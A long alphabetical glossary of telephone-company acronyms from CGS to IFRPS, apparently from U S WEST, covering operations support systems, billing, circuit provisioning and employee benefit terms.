CGS Computer Graphics Services
CHAT (SSFS) Churn Analysis Tool
CHINA (Mart-China/Voless) Charging Instructions Analysis
CHORD Computerized Held Orders/Regrades Detailed
CHQ Corporate Headquaters
CI (4) Common Interface
Company Instructions
Control Interval
Channel Interface
CI II Computer Inquiry II (Two)
CI III Computer Inquiry III (Three)
CIB Centralized Intercept Bureau
CIC (2) Customer Inquiry Center
Carrier Identification Code
CICS Customer Information Control System
CIDS Corporation Information Distribution System
CIIS Consumer Input and Inquiry System
CIM Capital Investment Model
CIM-OVAL Capital Investment Model-Inventory Management
CIMAP Circuit Installation Maintenance Assistance Package
CIMAP-INE CIMAP-Intelligent Network Elements
CIMAP/CC CIMAP/Control Center
CIMAP/SSC CIMAP/Special Services Center
CIMOVAL Use CIM-OVAL
CIMS Centralized Inv Mgmt Sys (HV High Vol, LV Low Vol)
CIN Customer Identification Number
CINTAS CCIS Network Total Administration System
CIS (4) Corporate Information Services
Computer Inventory System
Customized Intercept Service
Competitive Information System
CISR Consumer Installation Service Results
CISSP Corporate Interface Selection and Separation Process
CIU Craft Interface Unit
CKL Circuit Location
CL Common Line
CLAC CLAss of service code
CLAIMS (2) Security Office Automation & Insurance Claims System
Claims and Insurance Management System
CLASP CCIS Local Alternatives Studies Program
CLASS Custom Local Area Signaling Services
CLB Circuit Layout Bureau
CLC Corporate Learning Center
CLCI (2) Common Language Circuit Identification
Common Language Circuit Identifier
CLDFI Common Language Distribution Frame Identification
CLEI Common Language Equipment Identifier
CLEO Common Language Equipment Order
CLF Creation Load Factor
CLFI Common Language Facility Identifier
CLIPR CommunityLink Information Provider Reporting
CLI Calling Line Identification
CLLI (2) Common Language Location Identifier
Common Language Line Identification
CLLIMS Common Language Location Identification Maintenance
System
CLM Community Link Minitel
CLO Circuit Layout Order
CLOC CommunityLink Operations Center
CLR (2) Called Line Report
Circuit Layout Record
CLRC Circuit Layout Record Card
CM (2) Change Management
Completing Marker
CMAS Call and Message Accumulation System
CMC (4) Cable Maintenance Center
Construction Maintenance Center
Construction Management Center
Cellular Mobile Carrier
CMDR Centralized Message Detailed Recorder
CMDS (2) Centralized Message Data System
Centralized Message Distribution System
CMID Computer Managed Instruction Development
CMO (2) Cable Management Organization
Cable Management Office
CMOP Change Management Operations
CMP Cash Mechanized Remittance
CMPM Change Management/Problem Management
CMR (4) Centralized Main Remittance
Centralized Mail Remittance
Centralized Message Retrieval
Call Management Reports
CMRF Circuit Maintenance Record File
CMS (4) Cost Management System
Circuit Maintenance System (Also see CMT)
Consultant Management Services
Call Management System
CMS 1 Circuit Maintenance System 1
CMS 3A Circuit Maintenance System 3A
CMS-L Circuit Maintenance System-1
CMSMC Circuit Maintenance System Maintenance Center
CMT Circuit Maintenance System (Also see CMS)
CMTS (3) Computerized Measurement Tracking System
Centralized Maintenance Test System
Change Management Tracking System
CMTS/PTS Change Mgmt Tracking System/Personnel Tracking System
CN (4) Circuit Number
Change Notice
Completion Notice
Connect
CNA (2) Communications Network Architecture
Customer Name and Address Bureau
CNAC Network Administration Center/Cutover Conversion
CNCC Customer Network Control Center
CNCCS Customer Network Control Center System
CND Calling Number Delivery
CNDB Calling Number Delivery Blocking
CNL (2) Customer Name and Locality (formerly CNA)
Customer Name and Location
CNS Communication Network System
CO Central Office
COAM Customer Owned And Maintained
COAST Cable Ordering And Systematic Tracking
COAX Coaxial Cable
COBOL Common Business Oriented Language
COBRA Consolidated Omnibus Recognition Act of 1985
COC (5) Corporate Operations Committee
Circuit Order Control
Cableman Order Circuit
Circuit Order Center
Central Office Connection
COCC Central Office Connecting Channel
COCE Central Office Circuit Equipment
COCOT Customer Owned Coin Operated Telephone
COCS Circuit Order Control System
COCTX Central Office CenTreX
COE (2) Central Office Equipment
Customer Owned Equipment
COEES (2) Central Office Equipment Estimation System
Central Office Equipment Engineering System
COER Central Office Engineering Reports
COES Central Office Equipment System
COF (2) Catalog of Forms
Central Office Facility
COI Council on Issues
COIM Central Office Inventory Management
COIN Coin Phone Operational and Information Network
COIN/CTOCS Coin-Phone Operational And Information Network Coin/
Coin Telephone Operations Center Subsystem
COL Central Office Listing
COM Computer Output to Microfiche
COMADS Computerized Address Distribution System
COMAS (2) Computerized Maintenance and Administration Support
Computerized Maintenance and Administration System
COMAS III Computerized Maintenance and Administration System III
COMBO (2) Computer Output Microfilm Business Office Records
Computer Output on Microfische for Business Office
COMFOR Commercial Wire Center Forecast
COMMON Common Software
COMMS Central Office Maintenance Management System
COMMS-PM Central Office Maintenance Management System
-Preventive Maintenance
COMPAR Communications Equipment Cost Comparison
COMPASS Computer Oriented Methods of Patterning Analysis of
Switching System
COMS Customer Oriented Measurement System
COMSAT Communications Satellite Corporation
COMSTAT Communications Satellite Corporation
CONDA Centralized On-Line Network Data Aggregation
CONECS Connectorized Exchange Cable Splicing System
CONTRAK Contribution Tracking
COO Chief Operating Officer
COPAN Command Post Alerting Network
COPEC Computer Operations Post-execution Control
COPRIT Corporate Public Relations Invoice Tracking
COP Customer Ordering Process
COPS (2) Call Thrift/Optional Calling Plan
Circuit Order Provisioning System
CORAS Customer Oriented Results and Analysis System
CORC Customer Originated Recent Change
CORD Customer Order Retrieval and Display
CORDS Coordination of Records and Data Base System
CORE Core Analytic Financial Model
CORMAP Customer Oriented Reliability Measurement and
Analysis Plan
CORNET Corporation Network
CORP Corporation
CORS Central Office Record Center
COS Class Of Service
COSA Comptroller Operations System Administration
COSMIC Common System Main Interconnecting Frame
COSMOS (2) Computer System for Mainframe Operations
Computer System for Main-Frame Operation
COSNIX COSMOS Operating System
COST Corporate ONA Services Tracking System
COSTGEN2 Cost Modeling Second Generation
COSTUS Cost of Service Traffic Usage Study
COT (2) Customer Owned Telephone
Continuity Check Message
COTC Circuit Order Test and Completion
COTM Customer-Owned and Telephone Company Maintained
CP (4) Central Processor
Commercial Paper
Cable Pair
Consumer Products
CP/M Control Program for Microcomputers
CPAC Centralized Property and Cost
CPC (3) Circuit Provision Center
Cable Pressure Contractors
Cable Processing Center
CPCRP Centralized Payroll Change Report Preparation
CPE (2) Customer Premises Equipment
Customer Provided Equipment
CPI (3) Customer Point Identification
Corporate Personnel Information
Consumer Price Index
CPIW (2) Customer Provided Inside Wire
Customer Provided Inside Wiring
CPM (2) COSMOS Performance Monitor
Critical Path Method
CPMS Cable Pressure Monitoring System
CPNI Customer Proprietary Network Information
CPOC Customer Point of Contact
CPP Calling Party Pays
CPR (2) Customer Provisioning Reports
Continuing Property Records
CPR/FURNITURE Continuing Property Records/Furniture and
Office Equipment
CPR/OSP Continuing Property Record/Outside Plant
CPR/TOOLS Continuing Property Records/Capital Tools
CPRS (2) Centralized Personnel Records System
Customer Premises Record System
CPS (5) Customer Premises System
Corporate Policy Seminar
Characters Per Second
Corp Personnel System
Cycles Per Second
CPU Central Processing Unit
CR (2) Customer Records
Customer Report
CRA Customer Relations Activities
CRAB Customer Reconciliation and Billing
CRAS Cable Repair Administration System
CRAS/DMCL CRAS/Damage Claims
CRB Customer Records and Billing
CRC (2) Career Resource Center
Cyclic Redundancy Check
CRDB Customer Record Data Base
CREG Concentrated Range Extender with Gain
CREN Channel Remote Equipment Number
CRFMP Cable Repair Force Management Plan
CRIS Customer Record Information System
CRIS/MSS CRIS/Measured Service
CRM Constituency Relationship Management
CRMS Capital Recovery Management System
CRO (2) Completion Reporting Office
Complete with Related Order
CRP Customer Recognition Process
CRR Controlled Remove Request
CRS Centralized Results System
CRSAB Centralized Repair Service Attendant Bureau
CRT Cathode Ray Tube
CS Customer Services
CSA (4) Central Storage Administration
Carrier Serving Area
Common Storage Area
Customer Service Authorization
CSACC Customer Service Administrative Control Center
CSACCS Customer Service Administrative Control Center System
CSAR (2) Centralized System for Analysis and Reporting
Customer Service Administrative Reports
CSAS Customer Service Automated Systems (ARIIS & CIIS)
CSB (2) Corporate Service Budget
Carrier Service Bureau
CSC (3) Customer Service Center
Customer Services Marketing
Client Service Center
CSD Customer Systems Development
CSDC Circit Switched Digital Capacity
CSDN Corporate Shared Data Network
CSDS Continuous Surveillance Data System
CSE (2) Contract Service Environment
Customer Service Engineering
CSEC Customer Services Engineering Costs
CSG Centralized Scoring Group
CSIM Central Stock Inventory Management
CSM Customer Service Manager
CSMS Customer Service Measurement System
CSO (3) Central Services Organization
Centralized Services Organization
Customer Services Organization
CSOC Customer Service Order Center
CSOS (2) Centralized Service Order Standards
Centralized Service Order Staff
CSPEC Common Systems Planning and Engineering Center
CSR (3) Customer Service Record
Customer Service Representative
Customer Station Rearrangement
CSRS Centralized Sales Reference System
CSRT Customer Service Record Tapes
CSS (5) Customer Switching System
Communications Staff Support
Computer Service System
Computer Subsystem
Customer Service Support
CSSC Customer Sales and Service Center
CST Cooperative Scheduled Testing
CSTAT Corporate Statistics Data Base
CSU Channel Service Unit
CSW (2) Communications Skills Workshop
Customer Service Wire
CT (3) Connect Thru
Cut Through
Channel Termination
CT/OCP Call Thrift/Option Calling Plan
CTA Circuit Test and Availability Date
CTAP (2) Cable Trouble Analysis Plan
Cable Transfer Administration Plan
CTAR Circuit Termination Assignment Request
CTB Composit Triple Beat
CTC (3) Centralized Tool Center Projects
Channel to Channel
MITS/Centralized Tool Control Interface
CTEC Circuit Transmission Engineering Center
CTI (2) Centralized Ticket Investigation
Corporate Transportation, Inc.
CTIA Cellular Telecommunications Industry Association
CTID Circuit Termination Identification
CTMS (2) Corporate Table Management System
Carrier Transmission Maintenance System
CTOCS (2) Coin Telephone Operations Computer Subsystem
Coin Telephone Operations Subsystem Center
CTR (2) Center
Completed Trouble Report
CTRAP (2) Customer Trouble Report Analysis System
Customer Trouble Report Analysis Plan
CTS (6) CABS Tracking System
High Balance/Cost to Collect
Conversational Time Sharing
** Common Tax Systems
Communications Technical Support
Conversational Time Sharing
CTT Common Tax Tables
CTTC Circuit Toll Test Center
CTTU (2) Centralized Trunk Test Unit
Central Trunk Test Unit
CTX Centrex
CU (2) Channel Unit
Common Update
CU/EQ Common Update/Equipment
CU/TK Common Update/Trunks
CUCRIT Capital Utilization CRITeria
CUCRIT 3 Capital Utilization CRITeria-version 3
CUP CAROT Update Process
CUPADS Customer Premises Administration System
CVC Customer Verification Center
CVTS Corporate Video Teleconferencing Service
CW Colorado/Wyoming
CWA Communications Workers of America
CWBO Custom Work Billing Order
CWC Construction Work Center
CWG Construction Work Group
CWL Circuit Work Location
CWO (3) Custom Work Order
Closed Work Order
Centralized Warehouse Operations
CWS (2) Common Work Station
Coordination Work Station
CXR Carrier
CZ Carrier Zone
DA Directory Assistance
DAA Data Access Arrangement
DAC Destination Access Code
DACS Digital Access Cross-connect System (AT&T)
DAM Data Asset Management
DAMA Directory Assistance Message Accounting
DAS Directory Assistance System
DAS/C (2) Directory Assistance System/Computer
Directory Assistance System/Computerized
DAS/M Directory Assistance System/Microfilm
DASD Direct Access Storage Device
DASSD Data Administration and Support Services District
db decibel
DBA Data Base Administration
DBAC Data Base Administration Center
DBAS Database Administration System
DBM Dynamic Bandwidth Management
DBMG Data Base Maintenance Group
dBrcC Decibel Reference Noise C-Message Weighting
dBrnCO Decibel Reference Noise C-Message Weighted 0
DBS DataBase Sync
dBv Decibels Relative to 1 Volt (reference)
dBv1 Decibels Relating to 1 Volt (reference)
DC Distributor Consultant
DCP Defined Contribution Plan (U S WEST)
DCPR Detailed Continuing Property Record
DCS (2) Digital Cross-Connect System
Digital Access Cross-Connect System
DD Due Date
DDAP Detailed Distribution Area Planning
DDD Direct Distance Dialing
DDDITSO Direct Distance Dialing Incoming Trunk Service
Observation
DDJ Due Date Jeopardy
DDN Digital Data Network
DDS (3) Direct Dialing Service
Digital Data Service
Dataphone Digital Service
DEBIT Data Systems Estimating, Billing and Tracking
DECA Dual Element Cost Assignment
DEFRA Deficit Reduction Action of 1984
DEMS (2) Dial Equipment Minutes of Use
Digital Electronic Message Service
DENS Directory and Equipment Number Status System
DEPOT Detail Engineering Purchase Order Tracking
DERP Defective Equipment Replacement Plan
DFMP Dial Facilities Management Practice
DID Direct Inward Dial
DIMS Dimension Inventory Management System
DIR U S WEST Direct, Inc.
DIS Data Systems Instruction
DIVA (2) Data Input Voice Answerback
Data Inquiry Voice Answer
DL&I Department of Labor and Industries
DLC Digital Loop Carrier
DLCS Data Line Concentrator System
DLR Design Layout Record
DLRD Design Layout Report Date
DM/DR Direct Mail/Direct Response (advertising)
DMA Data Month Actuals
DMS100 Northern Telecomm Digital Switch 100
DNAS Data Network Administration System
DNIS Dialed Number Identification Service
DOES DOPAC On-line Entry System
DOJ Department of Justice (U S Federal Government)
DOP Dedicated Outside Plant
DOPAC Disk Oriented Property and Cost Accounting System
DOS Disk Operating System
DPC Data Processing Center
DPG Dynamic Product Generator
DPR (2) Daily Payment Register
Data Processing Requisition
DR (2) Distributor Relations
Division of Revenue
DRISPP Dividend Reinvestment and Stock Purchase Program
DRMA Detailed Regulatory Monthly Allocation
DRP Detailed Regulatory Process
DS1 (2) High Capacity 1.544 Mbps Service
Digital Signal Level 1 (1.544 Mb/s) (24 voice
channels)
DS2 Digital Signal Level 2 (6.312 Mb/s) (96 voice
channels)
DS3 (2) High Capacity 44.736 Mbps Service
Digital Signal Level 3 (44.736 Mb/s) (672 voice
channels)
DS4 Digital Signal Level 4 (274.176 Mb/s) (4032
voice channels)
DSA Data Security Administration
DSAC Dialing Services Administration Center
DSO Digital Signal Level 0 (65Kb/s) (1 voice channel)
DSOC (2) Digital Switching Operations Center
Digital Services Operations Centers
DSU (2) Digital Service Unit
Data Service Unit
DTL Dial Tone Line
DTF Dial Tone First
DTMF Dial Tone MultiFrequency
DTO Dial Tone Office
DTWX Dial Teletypewriter Exchange
DUAC Direct Uncollectible Additional Charges
DUV Data Under Voice
DVA Designed, Verified and Assigned
DVJ Designed, Verified and Assigned Jeopardy
E-911 Enhanced 911 Services
E/M Electromechanical
E1 Use TIRKS-E1
E1/REF Use TIRKS-E1/REF
E1/TAS Use TIRKS-E1/TAS
E2 Electronic Information Service
E911-DMS Enhanced 911-Data Management System (Also see EDMS)
EA (3) Equal Access
Engineering Analysis
Exchange Access
EA/NR Equal Access/Network Reconfiguration
EADAS (2) Engineering and Administration Data Acquisition System
Engineering and Administrative Data Acquisition System
EADAS NO. 1 No. 1 Engineering and Administrative Data Acquisition
System
EADAS NO. 1A No. 1A Engineering and Administrative Data Acquisition
System
EADAS/NM Engineering and Admin Data Acquisition System/Network
Management
EADP Equal Access Deployment Plan
EAEO Equal Access End Office
EAM Electronic Accounting Machine
EAMS (2) Exchange Areas Measurement Study
Exchange Access Measurement Study
EAP Employee Assistance Program
EARC Equal Access Recovery Charge
EARS (2) Equal Access Rate Structure
Equal Access Recovery System
EAS (3) Engineering Administration System
Extended Area Service
Engineering Administrative System
EASOP Economic Alternative Selection for Outside Plant
EATA Early Application Technical Analysis
EB&F Equipment Blockage Failures
EBAC Equipment and Billing Accuracy Control
EBB Everybody's Business
EBC Employee Benefit Committee
EBCD/C Extended Binary Coded Decimal Interchange Code
EBCDIC Extended Binary Coded Decimal Interchange Code
EBO Embedded Base Organization
EBX Electronic Billing Complex
EC Environmental Code
ECAP Electronic Customer Access Program
ECAS Enhanced Cost Accountability System
ECC Executive Communication Center
ECCR Exchange Customer Cable Records
ECDO Electronic Community Dial Office
ECI Equipment Catalog Item
ECIG Equipment Catalog Item Group
ECIR Equipment Catalog Item Record
ECLI Exchange Carrier Listing Information
ECLIPS Electronic Customer Listing and Information Products
System
ECMA Exchange Carrier Maintenance Agreement
ECN Equipment Category Number
ECO (2) Electronic Central Office
Engineering Control Office
ECP Equipment Conversion Package
ECP-1 Use TIRKS-ECP-1
ECP-1A Use TIRKS-ECP-1A
ECP-1B Use TIRKS-ECP-1B
ECPE Embedded Customer Premises Equipment
ECR Employee Change Request
ECS (3) Equipment Class of Service
Exchange Carrier Services
Exchange Cost Study
EDA Embedded Direct Analysis
EDA CALC Embedded Direct Analysis-Disaggregation (CALC)
EDASC Enhanced DAS/C
EDB Engineering Data Base
EDEMP Engineering District Effectiveness Measurement Plan
EDIIS (2) Event Driven Interproject Interface System
Event Driven Interproduct System
EDMS (2) Enhanced 911-Data Management System
(Also see E911-DMS)
EDP Electronic Data Processing
EDS Engineering Design System
EDSAC Electronic Delayed Storage Automatic Computer
EDTSR Electronic Dial Tone Speed Registrar
EEC Equipment Engineering Center
EEC-SW Equipment Engineering Center - Switching
EEM (2) Equipment Engineering Manual
Exchange Evaluation Model
EEMRP Equipment Engineering Management Result Plan
EEO (2) Equal Employment Opportunity
Equal Employee Opportunity
EEOC Equal Employment Opportunity Commission
EEPROM Electrically Erasable Programmable Read-Only Memory
EFAR Economic Feeder Administration and Relief
EFRAP Exchange Feeder Route Analysis Program
EFRAP/CFT Exchange Feeder Route Analysis Prog/Cumulative Fill
Tab
EFRAP/TICS Exchange Feeder Route Anal Prog/Time-Share Cable Size
EFRAP/TIFS Exchange Feeder Route Anal Prog/TICS Input File System
EFS Error Free Seconds
EFT Electronic Funds Transfer
EFTS Electronic Funds Transfer Systems
EI Employee Involvement
EIA Electronic Industries Association
EIC (2) Engineering Information Center
Employee Information Center
EIMS Engineering and Implementation Methods System
EIQ Employee Involvement/Quality
EIS Engineering Implementation System
EIS/PAIRS Experience Information System/Product Anal Report
System
EIU Equipment Inventory Update
EIX Existing It Cross-Connect
EJO Engineering Job Order
EL (2) Engineering Letter
Electroluminescent Displays
ELAC Equipment Location Access Code
ELEPL Equal Level Echo Path Loss
ELG (2) Equal Life Group
Equal Life Group Method of Depreciation
EM (2) Electronic Mail
Electro-Mechanical
EMASS External Mechanized Allocation Study System
EMC Equipment Measurement Code
EME Extraordinary Medical Expense Plan
EMF Equipment Master File
EMIS Early Maintenance Information System
EML (2) Equipment Matching Loss
Expected Measured Loss
EMP Electro-Magnetic Pulses
EMR (2) Enhancement Modification Request
Expanded Message Record
EMS (2) Electronic Message Service
Energy Management System
ENAC Engineering Network Administration Center
ENAD Enhanced Network Administration System
ENERGY Energy System
ENERGY 2 Energy 2 Data Bases
ENFIA Exchange Network Facilities for Interstate Access
ENIAC Electronic Numerical Integrator and Calculator
ENT U S WEST Enterprises, Inc.
EO End Office
EOB Explanation of Benefits
EOC Emergency Operating Center
EOCS/PCR Equipment Order Control System/Positive Completion
Report
EOM (2) End of Month
End of Message
EOMB Explanation of Medicare Benefits
EOV End of Volume
EPIC (EEPS) Engineering and Planning Interface Construction
(Budget)
EPL Echo Path Loss
EPLANS (2) Engineering Plans
Engineering Planning and Analysis System
EPM/NPS Fundamental Planning Mechanization/Network Planning
System
EPRC (2) Engineering Property Records and Contracting
Engineering Property Record Center
EPROM Eraseable, Programmable, Read-Only Memory Chip
EPS Engineering and Planning System
EPSCS Enhanced Private Switched Communication Services
EQF Equipment Features
ERISA (2) Employee Retirement Income Security Act
Employee Retirement Income Security Account
ERL Echo Return Loss
ERMA Engineering Records Maintenance and Administration
System
ERO Engineering Reporting Office
ERW Engineering Right-of-Way
ESAC Electronics Systems Assistance Center
ESAT Educational Services for Advanced Technologies
ESC Engineering Support Center
ESCC Enhanced Services Control Center
ESD Equipment Setup Document
ESF Extended Super Frame
ESN (2) Emergency Service Number
Electronic Serial Number
ESOP Employee Stock Ownership Plan (U S WEST)
ESP (3) Employee Suggestion Plan
Early Support Program
Enhanced Service Provider
ESPD Equalizer Selection Program for Data
ESS Electronic Switching System
ESSEX ESS Centrex Service
ESSX Electronic Switching System Exchange
ESTS Exchange Services Tracking System
ET (2) Electronic Typewriter
Exchange Termination
ETDC Electronic Traffic Data Converter
ETL Equipment Test List
ETN Electronic Tandem Network
ETRG/MRG Electronic Tandem (Mechanized) Routing Guide
ETS (4) Eight Hundred Transmission System
Electronic Tandem Service
Electronic Tandum Switching
Electronic Translation System
ETV Educational Television
EU End User
EUAA End User Account Activity
EUC End User Computing
EUCD Enhanced Uniform Call Distribution
EUCL End User Common Line
EUHD End User Help Desk
EVE Extreme Value Engineering
EVERY BUS Everybody's Business
EWAS Engineering Work Order Administration System
EWO Engineering Work Order
EWP Electronic White Pages
EWS Engineering Work Station
EXACT (2) Exchange Access Control and Tracking System
Interexchange Access Control and Tracking System
EXACT/TUF Exchange Access Control and Tracking/
Translation USOC's
EXM Exit Message
EXPERT Systems Which Collect and Organize Highly Specialized
Information
EXTC Expenditure Type Code
F1 Use TIRKS-F1
FA Function Accounting Revenue Interface to Functional
Accounting
FAADMI Administration Guide Components
FAB Field Assistance Bureau
FACC Final Account Collection Center
FACS Facility Assignment and Control System
FACTS Force And Cost Tracking System
FAD Functional Accounting Distribution
FADS (2) Force Administration Data System
(SSFS) Forecaster's Analysis and Decision Support
FAIR Failure And Incident Recording
FAMAS Facility Management Administration System
FAME Financial Analysis Modular Evaluator
FAMIS Forecasting And Monitoring Information System
FAMS Functional Accounting Maintenance System
FAP Facility Analysis Plan
FARF Financial Account Reference File
FARP Fraud Alter Referral Program
FARS Financial Administration Reports System
FAS File Access System
FASC Functional Accounting System Codes
FASER Fast Accounting System for Energy Reporting
FAST (4) Field Accessed Service Tool
Field Assistance and Support Team
Fleet Analysis Sizing Techniques
Fleet-size Analysis and Sensitivity Technique
FASTRAC Functional Accounting System Tracking
FAU File Administration Unit
FAX (4) Facsimile
Facilities
Facsimile Communication
Facsimile Equipment
FBLD Failed Build
FC (2) Function Code
First Choice; No Stock Considered
FCB Forms Control Buffer
FCC (2) Federal Communications Commission
Frame Control Center
FCD Frame Continuity Date
FCIF FACS Component Interface Format
FCO Foreign Central Office
FCP (2) Facility Conversion Package
Frequently Called Point
FCPA Foreign Corrupt Practices Act
FCS (3) Furniture Control System
Forms Control System
Freight Classification System
FCT Frame Continuity Test
FDC Fully Distributed Cost
FDD Foreign Directory Delivery
FDDI Fiber Distributed Data Interface
FDM Frequency Modulation
FDT Function Due Tomorrow
FDX Full Duplex
FEASEL Feature Selections System
FEDC Facilities Engineering Design Center
FEES Front End Entry System
FEMTOSECOND A Million Billionth of a Second
FEP Facility Equipment Planning
FEPS (2) Facility and Equipment Planning System
Use TIRKS-FEPS
FEPS/PWS TIRKS-FEPS/Planning Work Station
FES Front End System
FEX Foreign Exchange
FFM Frame Force Management
FG Feature Group (A, B, C, D)
FG 'A' Feature Group A
FG 'B' Feature Group B
FG 'C' Feature Group C
FG 'D' Feature Group D
FGTS Federal Government Telecommunications Services
FI Facility Interface
FIBS Financial Information and Budgets System
FIC Functional Information Categories
FICS Furniture Inventory Control System
FID Field Identifier Code
FIFO First In, First Out
FIMS Financial Information Mgmt System
FIN Force Information Network
FINAN Financial Analysis
FINITS (2) FINancial Information Transmission System
Financial Information System
FIP Fill Interface Process
FIS Fleet Information System
FIT/RAT Fitted Ratio
FIXS Fault Identification Cross-Reference System
FLEX-NET Use FLEXCOM
FLEXCOM Flexible Network Control (Formerly FLEX-NET)
FLEXEBILL FLEXible Easy Billing System
FLOPS Floating Point Operations Per Second
FLS Free Line Service
FLSA Fair Labor Standards Act
FM (3) Financial Management
Failure to Match
Frequency Modulation
FMAC Facility Maintenance and Administration Center-BOC
FMAS (2) Facility Maintenance and Administration System
Facility Maintenance and Surveillance System
FMMC Facilty Maintenance Management Center
FMS (3) Financial Management System
Financial and Marketing Services
Force Management System
FMS-F Force Management System-Facilities
FN First Choice; No Stock Found
FNPA Foreign Numbering Plan Area
FNPSC Fundamental Network Planning Support Center
FOC (2) Firm Order Commitment
Frame Operations Center
FORTRAN Formula Translator
FP Full Duplex
FPC Financial Planning Council
FPC-M Facility Planning Current-Mechanized
FPDB Fundamental Planning Data Base
FPM Fundamental Planning Mechanization
FPM/NPS FPM/Network Planning System
FPP Flexible Payment Plan
FPS Facility Planning System
FPSC Facility Planning, Scheduling, and Coordination System
FPWS Facility Planning Work Station
FR Financial Report
FRAMEMAPS FRAME Monitoring And Planning System
FRAMES/MAPS FRAME/Management And Planning System
FRC Field Reporting Codes
FRK Finance Report Key
FROST Force Results and Objectives System on Timeshare
FS (3) Facility System
Federal Service
First Choice-Short Lead; No Stock Found
FSAC Field Service Administration Center
FSC Fleet Service Center
FSI (2) U S WEST Financial Services, Inc.
Facility System Interface
FSWC Field Service Work Center
FTMS Foreign Tape Management System
FTS (2) Federal Telecommunication System
File Transfer System
FTTC/H Fiber To The Curb/Home
FV Flexible Video
FWG Facility Work Group
FWM Frame Work Management
FWO Facility Work Order
FX Foreign Exchange
GAB Group Access Bridging
GAC Group Access Code
GAP (2) Generalized Access Program
Gateway Applications Processor
GCR Generic Circuit Record
GDG Generation Data Group
GDS Generic Dispatch System
GELDECS Gen of Equipment Lists and Design Ensemble for
Costing Studies
GEM (2) Generic Extractor Mapper
General Engineering Mechanization
GEMS General Equipment Management System
GENJCL Generate Job Control Language
GENMAX Maximum Generations
GES Government and Education Services
GHz Gigahertz
GIGABYTE One Billion Bytes
GIGO Garbage In, Garbage Out
GL General Letter
GLIP Group Life Insurance Policy
GMD Guideline for Managerial Development
GOC Use TIRKS-GOC
GOLD General On-Line Documentation
GOMOU Goldphone Minutes of Use
GOSS (2) Generic Operations Support System
Government Operations Support System
GPO Graphics Performance Option
GS Ground Start
GSA General Services Administration
GSC Government Service Center
GTE Generalized Trace Facility
GTP Generalized Trade Product
GTT Global Title Translation
GUARDS-MAN Guidelines and Rules for Data System Management
GULP Generic Utility Program
HAG HECIG Analysis Guide
HAP Health Assistance Program
HASS Health and Safety System
HC High Capacity
HC3 Health Care Cost Containment
HCC House Cable Count
HCCD Hub Cross-Connect Device
HCDS High Capacity Digital Service
HCO Held Circuit Order
HCOM Host Communication Facility for FLEXCOM
HCP Health Care Plan
HCS Health Care Services
HCTDS High Capacity Terrestrial Digital Service
HDAM Hierarchic Direct Access Method
HDLC High Level Data Link Control
HECI Human Equipment Catalog Item Code
HECIG Human Equipment Catalog Item Code Group
HEMT High Electron-Mobility Transistor
HERTZ Cycles per Second
HFCC High Capacity Facility Control Center
HIA Host Interface Adapter
HIDAM Hierarchic Indexed Acess Method
HIP Health Incentive Plan
HISAM Hierarchic Indexed Sequential Access Method
HLI Hekimian
HML Hunting-Multiline Group Number
HMLAR Hunting-Multiline Group Assignment Request
HMO Health Maintenance Organization
HO Held Order
HOBIC Hotel Billing Information Center
HOBIS Hotel Billing Information System
HOBIS NO. 1 No. 1 Hotel Billing Information System
HOBIS/CCRS 1 No. 1 Hotel Billing Information System/Centralized
Credit/Refund
HOLC High Level Data Link Control
HPE Human Performance Engineering
HPF Hunting-Preferential List
HPM Hardware Problem Memo
HPS Home and Personal Services
HR (2) Held Regrade
Human Resources
HRA Human Resources Assessment
HRBE Human Resources Benefit Enrollment
HRBIS Human Resources Benefits Information System
HRD Human Resources Development
HRDA Human Resources Data Administration
HRIS Human Resources Information System
HRS Human Resources System
HSAM Hierarchic Sequential Access Method
HSM Hierarchical Storage Manager
HSSDS High Spped Switched Digital Service
HSZ Hunting List Size
HT Holding Time
HV High Volume
HVAC Heating, Ventilating and Air Conditioning
HYPERTEXT The Concept of Calling up Non Sequential Text from
Memory
Hz Hertz (frequency unit-formerly cycles per second)
I&M Installation/Maintenance
I/O Input/Output
IA Invoice Administration
IABS Integrated Access Billing System
IAD Inventory Available Date
IADS Integrated Administrative Data System
IAM Initial Address Message
IB Illness Benefits
IBEW International Brotherhood of Electrical Workers
IBI Item Balance Integrity
IBIS Installed Base Information System
IBM International Business Machine Corporation
IBP Integrated Business Plan
IC (7) Information Center
InterLATA Carrier
InterLATA Customer
Interstate Customer
Image Copy
Integrated Circuit
Interexchange Carrier (or IEC)
IC/IEC Interexchange Carrier
ICABS Interexchange Carrier Access Billing System
ICAC Intercompany Contract Administration Center
ICAL Interexchange Carrier Access Line
ICAN Individual Circuit Analysis
ICAPP Interexchange Customer Access Planning & Provisioning
ICATS Integrated Control And Tracking System
ICB Individual Case Basis
ICC Installation Control Center
International Communications Center
ICCATA Interexchange Carrier Calling Card and Third
Number Set
ICCATS Interexchange Carrier Calling Card and Third
Number Set
ICCM Interexchange Carrier Coordination Management
ICD ITCAP Cost Data Base
ICFP Interoffice Circuit Forecast Processor
ICH International Call Handling
ICIS Investment and Cost Information System
ICIS/FA Investment and Cost Information System/Functional
Accounting
ICL (2) Inserted Connection Loss
Insertion Connection Loss
ICO (2) Independent Company Office
Independent (Telephone) Company
ICOCS Use TIRKS-ICOCS
ICONN InterCONNections
ICONS Independent Telco Network Data Base
ICP Interoffice Circuit Provisioning
ICPRG Interexchange Customer Provisioning Relations Group
ICRIS Inquiry CRIS
ICS (2) Interexchange Carrier Services
Internal Communications Service
ICSC (2) Interexchange Carrier Service Center
Interexchange Customer Service Center (now ARIS)
ICUR Individual Circuit Usage Recorder
ID (2) Idaho
Identification
IDA (2) Integrated Digital Access (British Version of ISDN)
Interface Drawing Administration
IDB Invoice Derived Billing
IDC (3) Information Distribution Company
Interest During Construction (see AFUDC)
Intermediate Distribution Center
IDD Incidental Directory Delivery
IDDD International Direct Distance Dialing
IDEAE Integrated Digital Economic Analysis Evaluator
IDEAS Integrated Digital Engineering and Analysis System
IDF Intermediate Distribution Frame
IDLC Integrated Digital Loop Carrier
IDP InterDepartmental Practices
IDPC Investment Deployment Planning Center
IDS (2) Inter-Departmental System
Information Delivery Services
IEC (2) Interexchange Carrier (or IC)
Interexchange Company
IEEE Institute for Electrical and Electronic Engineers
IEOCS Use TIRKS-IEOCS
IESC Installation Engineering Support Center
IFAMS (2) Integrated Force Administration Management System
Integrated Force Administration Mechanization System
IFC Installed First Cost
IFCPC Interoffice Facilities/Equipment Current Planning
Center
IFE Interoffice Facilities Engineering
IFEC Interoffice Facilities Engineering Center
IFFAS Integrated Force And Facilities Administrative System
IFIN Integrated Financial Information Network
IFPC Interoffice Facilities/Equipment Planning Center
IFPS Interactive Financial Planning System
IFRPS Integrated Facility Relief Planning System
